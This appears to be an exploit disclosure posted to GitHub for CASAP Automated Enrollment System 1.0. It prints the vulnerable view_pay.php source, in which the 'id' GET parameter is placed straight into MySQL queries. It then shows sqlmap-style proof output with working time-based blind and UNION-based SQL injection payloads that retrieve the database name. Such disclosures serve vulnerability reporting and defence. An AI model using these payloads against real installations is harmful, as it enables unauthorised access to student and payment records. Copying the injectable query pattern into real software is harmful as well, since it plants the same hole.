BigTiger2020 Create CASAP-Automated-Enrollment-System-3.md History

1 contributor

8 lines (8 sloc) | 627 Bytes

- Exploit Title: CASAP-Automated-Enrollment-System 1.0 - "id" SQL Injection in view_pay.php
- Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
- Software Link:https: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
- Version: 1.0
- Vulnerable file: view_pay.php

```php
<?php include('header.php'); ?>
<?php include('session.php'); ?>
<?php $get_id = $_GET['id']; ?>
    <body>
        <?php include('navbar.php'); ?>
            <center><img src="images/casap.png"></center>
        <div class="container-fluid">
            <div class="row-fluid">
                <?php include('sidebar_fees.php'); ?>
                <div class="span9" id="">
                    <div class="row-fluid">
                        <!-- block -->
                        <div  id="block_bg" class="block">
                            <div class="navbar navbar-inner block-header">
                                <div class="muted pull-right">
                                        <a href="fees.php"><i class="icon-arrow-left icon-large"></i> Back</a>
                                </div>
                            </div>
                            <div class="block-content collapse in">
                                                <?php
                            $query = mysqli_query($connection,"select * from students where student_id = '$get_id'")or die(mysqli_error());
                            $row = mysqli_fetch_array($query);
                            $c1 = $row['class'];
                            $status = $row['status'];
                            ?>
                            <div class="alert alert-success">PAYMENT DETAILS</div>
                            <div class="span6">
                            FULL NAME: <strong><?php echo $row['firstname']." ".$row['middlename']." ".$row['lastname']; ?></strong><hr>
                            CLASS NAME: <strong><?php echo $c1; ?></strong><hr>

                            <?php
                            $query3 = mysqli_query($connection,"select * from class where class_name = '$c1'")or die(mysqli_error());
                            while ($row3=mysqli_fetch_array($query3)){
                            $fee = $row3['fee'];
                            if($status=='paying'){
                                    $status_fee =$fee;
                                }else
                                if($status=='exempted'){
                                    $status_fee =0;
                                }else
                                if($status=='half'){
                                $status_fee =$fee/2;
                                }else
                                if($status=='quarter'){
                                    $status_fee =$fee/4;
                                }


                            }?>
```

- Vulnerability proof :

```
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=3' AND (SELECT 8458 FROM (SELECT(SLEEP(5)))eAjK) AND 'mSdG'='mSdG

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=-2992' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71706b6a71,0x636663746d7370714a61456475734f734d5543
4a76614d58787a4d7162764f586b63487a53465167,0x71716b7871),NULL-- -
---
[15:19:15] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:19:15] [INFO] fetching current database
current database: 'bilal'
```